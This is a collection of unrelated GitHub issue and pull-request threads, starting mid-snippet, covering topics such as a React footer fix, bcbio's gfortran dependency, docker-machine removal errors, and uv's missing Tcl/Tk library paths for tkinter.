    this.state = { showFooter: true };
  }

  componentDidMount() {
    window.addEventListener('resize', () => {
      this.setState({ showFooter: window.innerHeight > 400 });
    });
  }

  render() {
    return (
      <FooterElem visible={this.state.showFooter}></FooterElem>
    );
  }
}

Note: I've also moved the FooterElem declaration out of the render method, otherwise you're re-creating that unnecessarily on every render.

Does that work for you?

Perfect, problem solved indeed. Only thing needed was transform: translateY(${props => props.visible ? '0px' : '60px'}); or else props was undefined. Also thanks for the heads up about transitions.

Only thing needed was transform: translateY(${props => props.visible ? '0px' : '60px'}); or else props was undefined.

Ah yeah, sorry about that! Updated the snippet for people finding this via search 😊
Very happy to help.

Hi, I want to display data in cards, if I have only one record in DB, I need to display only one card with big size like post card size in the center, if 2 records then 2 post cards displaying side by side and if 3 records then need to display 3 cards smaller than the post card. My code is as below..Plz help me
import React, { Component } from 'react';
import Pagination from '../components/pagination';
import _ from 'lodash';
import { connect } from 'react-redux';
import * as actions from '../actions/index';
class Main extends Component {
componentWillMount() {
this.props.fetchStudents();
}
constructor() {
super();
this.state = {
  pageOfItems: []
};

this.onChangePage = this.onChangePage.bind(this);

}
onChangePage(pageOfItems) {
    this.setState({ pageOfItems: pageOfItems });
}

render() {
  return (

My Page Header

      {this.state.pageOfItems.map(student =>

          {/*Card*/}

ID: {student.id}

{student.firstName} {student.lastName}

 Branch: {student.branch}

      )}

      <Pagination items={this.props.students} onChangePage={this.onChangePage} />

  );
}

}
function mapStateToProps(state) {
return { students: state.students.all };
}
export default connect(mapStateToProps, actions)(Main);

This question has been answered, please post your custom question on StackOverflow with the styled-components tag!
I'm going to lock this issue since there's nothing to add here.


gfortran seems to be missing from cloudbiolinux/homebrew installation procedure, leading to failing R package compilations

In my recent re-installation of bcbio, gfortran does not seem to be installed by the cloudbiolinux/homwbrew installation procedure (at least it's not mentioned in my logs and also not present as a binary or in the  PATH). This results in failing installations for R packages that are built from source by gfortran, such as cghFLasso, acepack,  RcppArmadillo, statmod,  and genefilter, which in turn are hard dependencies of Hmisc, DESeq2, and DEXSeq which then also fail to install. I also get an ERROR: dependency ‘DNAcopy’ is not available for package ‘PSCBS’ during the R package installation, but that may be a seperate issue.
I am using an R 3.1.1. on x86_64 if that is of importance (bcbio does not ssem to specify the R version it needs in its requirements). I also get the same errors when trying to install the problematic packages directly using R (without the bcbio PATH components etc), so it seems as if it's definitly the missing gfortran that is the culprit. Since gfortran is not an external dependency of bcbio I suggest it should be added to the bcbio installation procedure. In that respect I noted that gfortran is part of the minimal flavor (or how that is called) of cloudbiolinux, but apperantly not part of the ngs_pipeline_minimal flavor that bcbio is installing, so there may be value in revisiting the difference between the two.

Sven-Eric;
Sorry about the installation problems. gfortran is a system level dependency for bcbio, but was not documented. I added this to the details of things that need to be pre-installed. We try not to install system level dependencies in bcbio to avoid the pain of needing to make these work in a cross-platform way (all of the tools are hard enough). bcbio will install this if you give it root permissions with the --sudo flag, although it's probably easier just to install it from system packages manually.
Having fortran should hopefully fix all of your R issues. We generally test on the latest R but 3.1.1 should work if you have gfortran, which DNAcopy also requires. Hope this gets it going for you.

Thanks for looking into it, I'll add it to our nodes then. I wasn't aware of the fact that it was difficult to install or requiring root permissions, and I very much support the idea of not adding everything to the installer.


Add imu subscriber for hardware interface READ() function

Hello qiayuanliao
I'm impressed with your controller. Think it's exactly what I need for my real robot YLO2.
Tested lots of controllers (champ, Wolf, quad-sdk...)
However don't have succes when trying to integrate imu subscriber on the code, to be able to call imu message into read() function of the robot hardware interface.
A1 has imu integrated in it lib, and some of my friends and I need to call external topic imu.
Could you add the imu subscriber integration in legged_unitree_hw code, for example?
Perhaps it could extend users and give big help for us 😉
Thanks qiayuanliao.
Vincent.

Hi, I am happy that you enjoy this controller. Can you show me your code? I believe that it's easy to add an IMU subscriber on the HardwareInterface, and you may have some bug. I can try to help you find out.

Hello. What a quick answer...
humm i can't call imu message under read() function. here is what i'd like to do :
`void Ylo2HW::read(const ros::Time& /time/, const ros::Duration& /period/) {
//udp_->Recv();
//udp_->GetRecv(lowState_);
for (int i = 0; i < 12; ++i) {
jointData_[i].pos_ = 0.0; //
jointData_[i].vel_ = 0.0; //
jointData_[i].tau_ = 0.0; //
}
// TODO need to read here imu message.
// imu_message contain the real imu topic msg
imuData_.ori_[0] = 0.0; // imu_message.orientation.x;
imuData_.ori_[1] = 0.0; // imu_message.orientation.y;
imuData_.ori_[2] = 0.0; // imu_message.orientation.z;
imuData_.ori_[3] = 0.0; // imu_message.orientation.w;
imuData_.angularVel_[0] = 0.0; // imu_message.angular_velocity.x;
imuData_.angularVel_[1] = 0.0; // imu_message.angular_velocity.y;
imuData_.angularVel_[2] = 0.0; // imu_message.angular_velocity.z;
imuData_.linearAcc_[0] = 0.0; // linear_acceleration.x;
imuData_.linearAcc_[1] = 0.0; // linear_acceleration.y;
imuData_.linearAcc_[2] = 0.0; // linear_acceleration.z;`

thanks for answer.
Well, compilation is ok, but i can't read imu message ?!
As you said, I inserted imu callbacy into init() : https://github.com/elpimous/Legged_Control/blob/6a9354b88e7e46af02bfecea03d2d4d7ee3e1c12/legged_unitree_hw/src/UnitreeHW.cpp#L33
here there is the callback : https://github.com/elpimous/Legged_Control/blob/6a9354b88e7e46af02bfecea03d2d4d7ee3e1c12/legged_unitree_hw/src/UnitreeHW.cpp#L54-L59
Could you help in imu read example value here ? https://github.com/elpimous/Legged_Control/blob/6a9354b88e7e46af02bfecea03d2d4d7ee3e1c12/legged_unitree_hw/src/UnitreeHW.cpp#L105
@qiayuanliao Thanks a lot.
Vincent


docker-machine rm fails to remove a machine when the virtualbox machine is in state stopped

docker-machine rm machine fails when machine is a virtualbox machine in stopped state.
Steps to reproduce:
patrikerdes@Patriks-MacBook-Pro ~ $ docker-machine create -d virtualbox machine
[...]
patrikerdes@Patriks-MacBook-Pro ~ $ docker-machine ls
NAME      ACTIVE   URL          STATE     URL                         SWARM   DOCKER   ERRORS
machine   -        virtualbox   Running   tcp://<IP_ADDRESS>:2376           v1.9.1
patrikerdes@Patriks-MacBook-Pro ~ $ docker-machine stop machine
Stopping "machine"...
Machine "machine" was stopped.
patrikerdes@Patriks-MacBook-Pro ~ $ docker-machine ls
NAME      ACTIVE   URL          STATE     URL                         SWARM   DOCKER    ERRORS
machine   -        virtualbox   Stopped                                       Unknown
patrikerdes@Patriks-MacBook-Pro ~ $ docker-machine rm -y machine
About to remove machine
Error removing host "machine": /usr/local/bin/VBoxManage controlvm machine poweroff failed:
VBoxManage: error: Machine 'machine' is not currently running

patrikerdes@Patriks-MacBook-Pro ~ $ docker-machine ls
NAME      ACTIVE   URL          STATE     URL                         SWARM   DOCKER    ERRORS
machine   -        virtualbox   Stopped

Build: 0.6.0-rc2-dev, build 36aed62
This bug does not exist in v0.5.6 or v0.6.0-rc1

I believe this was introduced by 2874

Thanks @patrikerdes, I'm on it!

Ok, great. :+1:


Added support for Array of Structs [databricks]

Added support for Array of Struct to ParquetCachedBatchSerializer

Made changes to ParquetCachedBatchSerializer.scala to allow Arrays
Added unit tests to test Array[Integer] and Array[Struct([String, Struct(Integer)])]

closes #3573
Signed-off-by: Raza Jafri<EMAIL_ADDRESS>

build

build


Incorrect Version Number Displayed

I've uninstalled sdkman, following the instructions at http://sdkman.io/install.html.  Then, I re-installed sdkman.  During the installation, the process noted
Extract script archive...
Install scripts...
Set version to 5.2.1+136 ...
Attempt update of bash profiles...
Updated existing /home/restagner/.bashrc

After installation, I issued the command sdk version.  It returned SDKMAN 5.1.4+78.  I thought is should return 5.2.1+136

Sorry, incorrect issue number quoted in that commit :-)
Closing this as this was due to a login shell sourcing the init script. Restarting the X session fixed it.
Will need to review how bash profile(s) are updated at installation time going forward.


Update availability of partition features for SQL 2016 SP1

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

Thank you @SvenAelterman for the help.  @MikeRayMSFT please review.

Verifying technical accuracy with PG.

@MikeRayMSFT can we merge this?

#sign-off

per @MikeRayMSFT merging.


Dual Clutch Paddle Functionality

Hello,
In sim racing some wheels have firmware functionality that combines 2 analog axes into 1 axis. This is done in a way that a "Bitepoint" is specified such that one of the clutches ("slave clutch") goes from 0% to the Bitepoint % (ex: 0-50%).
The other clutch ('master clutch") is set to go from 0 to 100%.
As such a sim racer can pull in both clutches. Then release the master clutch with the slave clutch still pulled to it's maximum. The resulting axis value would be right at the bitepoint which gives the car it's best launch. Ideally the slave clutch is then control from the bitepoint to 0% to minimize wheel spin or bogging/stalling.
However, some wheels don't have this functionality built in and the clutches just map to 2 separate axes
I've been trying a way to utilize existing functionality in UCR to achieve the desired bitepoint with 2 separate physical input axes.
I think it could be achievable if the Axis to Axis allowed a max value. So:
Map Physical Clutch 1 Axis-to-Axis as Virtual Axis 1, from 0 to Bite point % as the max
Map Physical Clutch 2 Axis-to-Axis as Virtual Axis 2, from 0 to 100% as the max
Axis Merger, Virtual Axis 1 and Virtual Axis 2 with Greatest Mode resulting in Virtual Axis 3
Could functionality as I've described above, or perhaps some more direct functionality be added to the project?
Is there a simple way to achieve this with current functionality that I haven't thought of yet?
Thanks

@SrgntBallistic have you seen Dan Suzuki video? iRacing Guides | How to do insane standing starts! No Clutch needed!
I've dual paddles haven't attempted it, but he uses UCR to map from button to axis value

@lewisst Yes I've seen Dan's video. I frequent his stream and Discord a lot.
That specific method of launching the Porsche Cup car doesn't work any longer. iRacing added clutch damage to it's model so just holding the brake with the clutch at the bite point is actually detrimental now. Also I'd consider the button method a bit less ideal since it simply drops the clutch to a specific value instead of allowing you to modulate it with analog inputs.
Using the clutch paddles in the method I mentioned works universally for pretty much every car without damaging the clutch. And since a lot of people have clutch paddles on their wheels but no way to set a bite point or combine them in this specific way

I came here hoping to find a solution to this as well. We could achieve the same thing with a single axis to axis if the same options were available that are present in the button to axis settings. A min/max value.

Same here. I have it working like so:

axis to axis mapping
Fanatec clutch paddle (left or right) as source
vJoy axis as output (like in the Dan Suzuki video)
Sensitivity - percentage = 42
Sensitivity - linear = true
This almost works perfectly, except if I pull in the paddle too quick the value does not go to 42%, but to a lower value.


CSV Export

Use a library like https://www.npmjs.com/package/json2csv to convert JSON to CSV in the browser. This should download the current view.

Kamino closed and cloned this issue to cncf/landscape


Sort repo topic labels by name

Close #24077

🤖 🎺

I was unable to create a backport for 1.19. @wxiaoguang, please send one manually. :tea:


[WIP] Remove metapackage

xref https://github.com/coiled/benchmarks/issues/732

I should also mentioned that I spoke with @ntabris offline and he's okay dropping the docker images at this point (xref https://github.com/coiled/benchmarks/pull/793)

@jrbourbeau sorry, I didn't have time to look at this. I'll be away until the 22nd; you may want to pull in somebody else for review.

@jrbourbeau see my review commit.

Could you produce evidence that this doesn't cause regressions in the A/B tests? Your version couldn't work as it was hardcoding the coiled_runtime_environment.
As per @scharlottej13's comment, could you review the README?

Thanks for getting this across the finish line @crusaderky


[ MB-14723 ] Reordering the defintions stanza for Admin Swagger

Jira ticket for this change
Summary

[x] Sorting the defintions;

We can most likely turn this into an error again if we want. This only
removes a single warning from the checks, but I think it's important to
have these sorted in our swagger-def directory as it's now much easier
to read all the definitions and know what we support when code-folding
is enabled in your editor of choice.

[x] Updating the definitions-sort given stanza;

Before this change, this the defintions-sort rule was giving false
positives.

Setup to Run Your Code
I ran make swagger_generate server_generate on this branch to get all the
necessary files checked into the repository.
As the reviewer, you can run lint-yaml-with-spectral from inside this repository
and with the swagger/admin.yaml and should see that there are only ✖ 129
problems (42 errors, 87 warnings, 0 infos, 0 hints) which is different from
the default branch of ✖ 130 problems (42 errors, 88 warnings, 0 infos, 0
hints).

Messages

:book:
:link: MB-14723

  Generated by :no_entry_sign: dangerJS against 39cc096c2bd1010c5ad0d235153ca93695b2d775

Here's a screenshot of the sorted order.


Bug with handling passwords during environment

Sometime connection fails, even with invalid passwords

Cannot reproduce on latest version. Waiting for reproducible example.


Move the addition of MPI rank in logs from PDI code to MPI plugin

In order to remove the MPI dependancy from PDI core, we should add the MPI rank to the logger object in the mpi plugin instead of the logger class.
@ksiero @tpaluszk could you have a look at that and propose a strategy to get there please.

In GitLab by @ksiero on Sep 24, 2018, 10:30
Done in !162

In GitLab by @ksiero on Sep 24, 2018, 10:30
closed


chore: Set permissions for GitHub actions

Restrict the GitHub token permissions only to the required ones; this way, even if the attackers will succeed in compromising your workflow, they won’t be able to do much.

Included permissions for the action. https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions

https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs
Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
Signed-off-by: nathannaveen<EMAIL_ADDRESS>

Hi ! This project doesn't usually accept pull requests on master.
If this wasn't intentionnal, you can change the base branch of this PR to devel
(No need to close it for that). Best, a bot.

Ok, sounds good, thanks!


Feat

Codecov Report

Merging #67 (5a1a8ed) into master (79a7392) will decrease coverage by 0.23%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master      #67      +/-   ##
==========================================
- Coverage   88.44%   88.20%   -0.24%
==========================================
  Files           9        9
  Lines         796      797       +1
==========================================
- Hits          704      703       -1
- Misses         92       94       +2

Impacted Files
Coverage Δ

pywss/__init__.py
85.96% <100.00%> (-0.55%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Ignore the vendor folder by default

We are using this project for Fyne, but we need to remove the vendor folder (https://github.com/fyne-io/fyne/blob/7229e889d49c81a83b0b7e09400837f67f6ddad5/.github/workflows/static_analysis.yml#L21) to ignore picking up things in packages that we do not maintain. It would be great if gocyclo could do like many other Go tools and simple ignore looking in the vendor folder.

Thanks :)


cli: show env vars from job first

Show env var from job if specified, instead from app.
Fixes #4108

Thanks!


Translation in portuguese brazil

hi, me will like in look the app. in portuguese brazilian

App translation for portuguese Brazilian
To do


NSArrays and NSDictionaries cannot handle primitive data types like NSInteger

NSArray<NSNumber *> * renders in the .h file as expected but the .m file complains about trying to assign a primitive to an id.

The issue is here:
https://github.com/pinterest/plank/blob/6d226ecc0e9afade829a740befab8728646f60d4/Sources/Core/ObjectiveCInitExtension.swift#L115
We need to avoid making a tmp variable id on the prior line in the generated code for these primitive cases

@bkase want to put together a patch? Should be a straightforward fix

@rahul-malik @bkase Do you think this has been addresses in https://github.com/pinterest/plank/pull/91/files#diff-ab5b6a9c768f187d5d9278fb9fbcf492R75 ?


allow configuring max_backlog_size via MessageBus::Implementation

I really want us to have reliable pub sub implementations for both pg and memory. I wonder if this interface is right.
There are 2 backlogs, one per channel and one global one, only passing in the per-channel one is a bit weird and I wonder if it even should go in via the initializer (if it does it mean we should have both)

You are probably right. The fix solves my problem but there might be usecases where people want to change other limits, and putting all of them into the API is too much.
What about a setter for reliable_pub_sub then?
What other solution would you suggest?

A setter in reliable pub sub is fine, we should prob rename to
MessageBus::Redis::ReliablePubSub  as prep work
On Monday, May 11, 2015, Jasper<EMAIL_ADDRESS>wrote:

Closed #30 https://github.com/SamSaffron/message_bus/pull/30.
—
Reply to this email directly or view it on GitHub
https://github.com/SamSaffron/message_bus/pull/30#event-301646747.

Sorry, with setter I meant a setter for reliable_pub_sub in MessageBus::Implementation, so I can provide one with custom limits.
This would theoretically even allow overriding redis dependency. (Ah, and that is why you proposed moving it to MessageBus::Redis?!)
Alternative would be for each user to extend MessageBus by themselves and override reliable_pub_sub getter, I think.


Run Node js application in windows container

Could you please provide me a windows base image for creating a docker image for the Node js application. I have tried multiple options :
mcr.microsoft.com/windows/servercore:ltsc2022
mcr.microsoft.com/windows/servercore/insider:10.0.18362.1
mcr.microsoft.com/windows/nanoserver/insider:10.0.20348.1
mcr.microsoft.com/windows/servercore:1803
I am getting below error:
no match for platform in manifest sha256:8f756a7fd4fe963cc7dd2c3ad1597327535da8e8f55a7d1932780934efa87e04: not found

Closing this issue. Will re-open if we hear back that the issue persists.


Initial Index Prop

Is it possible to add a prop to set initial value?
For example I got 10 screens. But I want to start from 4th index.

Hi @zek
You can use the scrollTo method to start the page in the 4th index.
componentDidMount() {
    this.cube.scrollTo(4, false)
}

render() {
return (
    <CubeNavigationHorizontal ref={view => { this.cube = view; }}>
    ...
    </CubeNavigationHorizontal>
)

I am already using it as you show. But still I believe a prop would be nice.
Also as I notice callBackAfterSwipe doesn't return index instead goTo which is equivalent to position of view according to width. Is this what we really want?
Right now I am calculating index with this code. I will send a PR for it. What do you think?
-1 * goTo / width


Drools operator 'contains' in place of String.contains()

Drools operator 'contains' can also be used in place of String.contains()
With ref. to DROOLS-388 [1] and some quick tests, I'd like to propose doc changes as per this PR.
I've also pondered if to append Java-style comments to the proposed examples:
Cheese( name contains "tilto" ) // Cheese.getName().contains("tilto")
Person( fullName contains "Jr" ) // Person.getFullName().contains("Jr")
String( this contains "foo" ) // "foobarbaz".contains("foo")
but given the Drools example are actually so simple, I think it may results being more confusing.
Thank you for review of this proposed doc changes.
Ciao
[1] https://issues.jboss.org/browse/DROOLS-388

Merged @ https://github.com/droolsjbpm/kie-docs/commit/1e08ec2e0e3289d951fc7b58337d2da076d873be
Thanks very much for the PR!


Service Name Mapping

What this PR does:
https://github.com/apache/dubbo-go-pixiu/issues/485
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

Codecov Report

Merging #543 (491058c) into develop (ca85c1a) will increase coverage by 0.06%.
The diff coverage is n/a.

:exclamation: Current head 491058c differs from pull request most recent head 4a9ceaa. Consider uploading reports for the commit 4a9ceaa to get more accurate results

@@             Coverage Diff             @@
##           develop     #543      +/-   ##
===========================================
+ Coverage    54.67%   54.74%   +0.06%
===========================================
  Files          666      667       +1
  Lines        77881    78143     +262
===========================================
+ Hits         42584    42779     +195
- Misses       31661    31716      +55
- Partials      3636     3648      +12

Impacted Files
Coverage Δ

pkg/test/util/retry/retry.go
57.14% <0.00%> (-3.58%)
:arrow_down:

pilot/pkg/networking/grpcgen/lds.go
92.24% <0.00%> (-1.30%)
:arrow_down:

pilot/pkg/model/push_context.go
57.03% <0.00%> (-1.07%)
:arrow_down:

pilot/pkg/model/service.go
46.60% <0.00%> (-0.91%)
:arrow_down:

pilot/pkg/xds/ads.go
72.90% <0.00%> (-0.87%)
:arrow_down:

security/pkg/nodeagent/cache/secretcache.go
84.94% <0.00%> (-0.77%)
:arrow_down:

...working/dubbo/v1alpha1/servicenamemappingserver.go
69.51% <0.00%> (ø)

pilot/pkg/bootstrap/server.go
53.74% <0.00%> (+0.17%)
:arrow_up:

pilot/pkg/config/kube/crdclient/types.gen.go
79.56% <0.00%> (+0.66%)
:arrow_up:

pilot/pkg/xds/discovery.go
85.98% <0.00%> (+1.05%)
:arrow_up:

... and 6 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


treeseg needs newer armadillo than is available on xenial

Andy: can you perhaps mod the README to note what version of armadillo you are recommending?  We found that the version of armadillo that is available via Ubuntu xenial wasn't sufficient (6.5) -- Ubuntu bionic worked to compile, however (8.4).  I think you need 7.960 or later?  When they introduced gmm_full?  http://arma.sourceforge.net/docs.html#api_additions
Thanks!

Fixed via #3 and readme updated to include min dependancy versions. Thanks!

Andrew, the page still lists Ubuntu 16.04 (xenial, which does not have the right version of libarmadillo): https://packages.ubuntu.com/xenial/libarmadillo-dev
Can you tweak to suggest Ubuntu 18.04 (bionic) or later?


Add codecov.yml

Mainly I'm triggering a commit to see if I've fixed codecov.io for hvplot.
Anyone know if we need this file? I copied it from panel.

Same problem - repo is set up for coveralls, but badge links to codecov.io


Window connect separator

Issue: #177

There seems to be an issue with the background between the windows
set -g @catppuccin_status_background "#ff0000" with config:

provided in #177

config 2

config 3

I think you need to set window-status-style bg (and prbly also the active style) like done with status-style to get default working.
https://github.com/catppuccin/tmux/blob/5ed4e8a6a20c928688da268dfcdf460ac9c3cb49/catppuccin.tmux#L56-L65

Thank you, I will test it later.
(Also I still need to update logic when we fill number)

I think you need to set window-status-style bg (and prbly also the active style) like done with status-style to get default working.

Didn't work or I did smth wrong, I tried to play with logic like that:
      set-window-option -g window-status-style fg="#ff0000"
      set-window-option -g window-status-style bg="#ff0000"
      set-window-option -g window-status-current-style fg="#ff0000"
      set-window-option -g window-status-current-style bg="#ff0000"

Other than "default" should work fine

Is there any possibility to reduce the line count of build_window_format it was bad before but this a 100 line switch statement with 4 almost identical cases/branches
Some patterns (for window_connect_seperator blocks):

bg consists 1 color and default (always at the same place)
first 2 show_left always $thm_bg

https://github.com/catppuccin/tmux/blob/33c4fd62df96b39cec2b2c08bc341c88d9392761/builder/window_builder.sh#L52
bg needs to be default for connected and $background for not connected


How to pass cli options to rclone when using rustic

Backblaze charges you $4/million "list" requests, and strongly recommends that you use rclone's --fast-list option
Is there a way to pass this through to rclone via rustic's CLI options? Or would the only way be to set environment variables? I'm trying to avoid that as it seems to complicate setting things up programmatically.
Thanks!

using
[global.env]
RCLONE_FAST_LIST = "true"

in your config file should do the trick.
Besides this, I doubt that it will make a significant difference in your backblaze charges. IMO this only affects check and prune (and forget --prune, of course) and may reduce number of list calls by 255 per command call, i.e. saving you $0.001 per check or prune call.
backup will not be affected at all by this option.


Update extend-sdks.md

Updates from:

Dec 13th
Jan 10th
Jan 17th

View latest changes: https://github.com/zowe/docs-site/blob/zFernand0-patch-1/docs/extend/extend-sdks.md

Please see: https://github.com/zowe/docs-site/blob/draft-sdkcontent-sdks/docs/extend/extend-sdks.md


Can't use tkinter with new venv set up with uv

uv venv
source .venv/bin/activate
python -c "from tkinter import Tk; window = Tk()"

This gives me the error message:
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/Users/dstansby/.local/share/uv/python/cpython-3.12.5-macos-aarch64-none/lib/python3.12/tkinter/__init__.py", line 2346, in __init__
    self.tk = _tkinter.create(screenName, baseName, className, interactive, wantobjects, useTk, sync, use)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
_tkinter.TclError: Can't find a usable init.tcl in the following directories:
    /tools/deps/lib/tcl8.6 /Users/dstansby/.venv/lib/tcl8.6 /Users/dstansby/lib/tcl8.6 /Users/dstansby/.venv/library /Users/dstansby/library /Users/dstansby/tcl8.6.12/library /Users/tcl8.6.12/library

This probably means that Tcl wasn't installed properly.

I can successfully run python -c "from tkinter import Tk; window = Tk()" in a fresh conda environment, but when I install python on conda it also installs tk,  so maybe that's why it works? Maybe this isn't an issue with uv?, but if anyone knows how to get this working I'd be very gateful!
uv 0.4.4 (Homebrew 2024-09-04)
macOS

This is a python-build-standalone quirk: https://gregoryszorc.com/docs/python-build-standalone/main/quirks.html#tcl-tk-support-files
We might need to set the variable as described there. 🤔

For the record, rye did this https://github.com/astral-sh/rye/pull/233

I'm not opposed to doing a similar thing here.

to maybe point others to a workaround, all you'd need to do is to export an env variable called TCL_LIBRARY pointing to the correct tcl directory.
to figure the correct one out, I did the following:
ATTENTION: this assumes that your .venv is based on the default python available to uv and also that tcl is at version 8.6, so keep that in mind
#!/bin/bash

# Get the Python path
PYTHON_PATH=$(cd ~ && uv run which python)

# Extract the base path
BASE_PATH=$(dirname "$(dirname "$PYTHON_PATH")")

# Construct the TCL_LIBRARY path
TCL_LIBRARY="$BASE_PATH/lib/tcl8.6"

# Set the environment variable
export TCL_LIBRARY

# Print the set variable (for verification)
echo "TCL_LIBRARY has been set to: $TCL_LIBRARY"

for comfort I've then just put the var in my .env file which gets automatically loaded by .envrc (direnv) - which btw would totally be an appealing feature for uv to replicate :P

The quirks page says

Distributions produced from this project contain tcl/tk support files

However,
$ uv --version
uv 0.4.22
$ uv venv -p 3.9
Using CPython 3.9.19
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate.fish
$ find .venv -name "*tcl*"
$ # ?

What am I doing wrong?

$ find .venv -name "tcl"
$ # ?

What am I doing wrong?

Those are in python installation directory not in virtualenv, I'm not next to linux box but under windows:
(venvflon) PS C:\Users\mplichta\Projects\venvflon> uv python list
cpython-3.13.0-windows-x86_64-none     C:\Users\mplichta\AppData\Roaming\uv\python\cpython-3.13.0-windows-x86_64-none\python.exe
cpython-3.12.7-windows-x86_64-none     <download available>

So, path would be: C:\Users\mplichta\AppData\Roaming\uv\python\cpython-3.13.0-windows-x86_64-none\tcl\tclk8.6

Oh I understand now. On macOS they're under ~/.local/share/uv/python/cpython-*-macos-aarch64-none/lib/tcl8.6 👍🏼

This is an important issue for me and my employers.
I'm a CS major with 5 years of SWE xp in python, but no xp in rust yet. Learning rust is a current goal of mine.
Would you consider this a good first issue for me or at least one that I could get along? If so, any special precautions?

It'd be a stretch to say it's a good first issue, there's a lot of nuance to the possible solutions and I would have to do quite a bit of research to even understand what the trade-offs are. I think the first best step is to understand Rye's approach and if there are any alternatives. If it's the most compelling approach still, we should be able to port it over without too much difficulty.

Since most people expect to use Tkinter that comes with the python, I guess including ‘TCL_LIBRARY’ and ‘TK_LIBRARY’ env path pointing to where uv installed python as @emcek described would be a good default solution? The uv can provide some override mechanism, like allowing use to specify custom path to these two environment variable in the ‘.python_version’ file or maybe some other files? This way TCL should always work by default.

So... expanding on the workaround so it works on all platforms, doesn't clobber existing env vars and doesn't bother doing anything if tk is actually working already (given that just because you used uv to write your library there's no guarantee it will be run using the standalone Python builds that uv uses)... we have something like this.
import tkinter
from os import environ
from pathlib import Path
from sys import base_prefix
import platform

if not ("TCL_LIBRARY" in environ and "TK_LIBRARY" in environ):
    try:
        tkinter.Tk()
    except tkinter.TclError:
        tk_dir = "tcl" if platform.system() == "Windows" else "lib"
        tk_path = Path(base_prefix) / tk_dir
        environ["TCL_LIBRARY"] = str(next(tk_path.glob("tcl8.*")))
        environ["TK_LIBRARY"] = str(next(tk_path.glob("tk8.*")))

def main():
    tk = tkinter.Tk()
    tk.mainloop()

if __name__ == "__main__":
    main()

Hmmm... my workaround above fixes tk, but when I try to use the tkagg backend for matplotlib things get broken again. I'll do some more investigation.
   from . import _tkagg ImportError: initialization failed

Hmmm... my workaround above fixes tk, but when I try to use the tkagg backend for matplotlib things get broken again. I'll do some more investigation.
 from . import _tkagg ImportError: initialization failed

This issue is mentioned in #6893

Broadly, we have two options:

Add a .pth file, like in Rye, to set these environment variables.
Patch CPython to set these if not set (in python-build-standalone) -- something like:

--- a/Lib/tkinter/__init__.py
+++ b/Lib/tkinter/__init__.py
@@ -54,6 +54,14 @@
 _magic_re = re.compile(r'([\\{}])')
 _space_re = re.compile(r'([\s])', re.ASCII)

+# Facilitate discovery of the Tcl/Tk libraries.
+import os
+
+if 'TCL_LIBRARY' not in os.environ:
+    os.environ['TCL_LIBRARY'] = sys.base_prefix + '/tcl/tcl' + _tkinter.TCL_VERSION
+if 'TK_LIBRARY' not in os.environ:
+    os.environ['TK_LIBRARY'] = sys.base_prefix + '/tcl/tk' + _tkinter.TK_VERSION
+

 def _join(value):
     """Internal function."""

The advantage of (1) is that it's slightly easier, doesn't require us to maintain a patch, and could be disabled in uv venv (like, we could have a flag to avoid creating it).
The advantage of (2) is that we'll only set those variables when tkinter is imported, and we won't have to add a .pth file to the environment, which may confuse users.

I'd say having a .pth file is the "better" approach of the two in terms of best practices and style etc. so that's what I'd gravitate to...
but, thinking of ease of use especially for beginners and the "uv just works" experience there's probably no way around patching.
Is it possible to get a list of similar or identical use case? Is this a tkinter speciality because of the UI nature of it or would this affect lots of other builtins, too?

I have a minor preference for the upstream patch, I think? There are consumers other than uv.
Perhaps a dumb question, but why do we need to set an environment variable? How does this work in the standard distributions?

I'm not totally certain why this works in other Pythons (e.g., Framework Python distributions).

So for the Framework Python at least, the paths appear to get compiled in to the binary:
❯ otool -L /Library/Frameworks/Python.framework/Versions/3.12/lib/python3.12/lib-dynload/_tkinter.cpython-312-darwin.so
/Library/Frameworks/Python.framework/Versions/3.12/lib/python3.12/lib-dynload/_tkinter.cpython-312-darwin.so (architecture x86_64):
	/Library/Frameworks/Python.framework/Versions/3.12/lib/libtcl8.6.dylib (compatibility version 8.6.0, current version 8.6.15)
	/Library/Frameworks/Python.framework/Versions/3.12/lib/libtk8.6.dylib (compatibility version 8.6.0, current version 8.6.15)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1311.0.0)
/Library/Frameworks/Python.framework/Versions/3.12/lib/python3.12/lib-dynload/_tkinter.cpython-312-darwin.so (architecture arm64):
	/Library/Frameworks/Python.framework/Versions/3.12/lib/libtcl8.6.dylib (compatibility version 8.6.0, current version 8.6.15)
	/Library/Frameworks/Python.framework/Versions/3.12/lib/libtk8.6.dylib (compatibility version 8.6.0, current version 8.6.15)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1311.0.0)

(I'll see if we can do something similar.)

I think another thing we could do is symlink those files into .venv/lib, since tkl does look there.

So if a fresh venv gets created the tcl dependencies are copied from somewhere else to the .venv/lib dir, or did I get this wrong?

Ok, I have a patch that is working well here: https://github.com/indygreg/python-build-standalone/pull/421. It avoids all the disadvantages, at the cost of requiring us to maintain a CPython C patch.

Thank you for looking into this an resolving it! As a user of uv I wonder when this patch will be available? Will I need to wait for new Python patch releases like 3.10.17? or can force uv to use an archive from a specific standalone release, marked by its date?

It'll be available following a python-build-standalone release, then a uv release — probably relatively soon.
We don't support using arbitrary archives yet.

I just released this in https://github.com/astral-sh/uv/releases/tag/0.5.11

For the record, this won't work out of the box with Python versions that were already downloaded.
❯ uv self update
...
❯ uv --version
uv 0.5.11 (c4d0caaee 2024-12-19)
❯ uv venv -p 3.10
Using CPython 3.10.14
...
❯ uv pip install foxdot
...
❯ uv run python -m FoxDot
_tkinter.TclError: Can't find a usable init.tcl in the following directories:
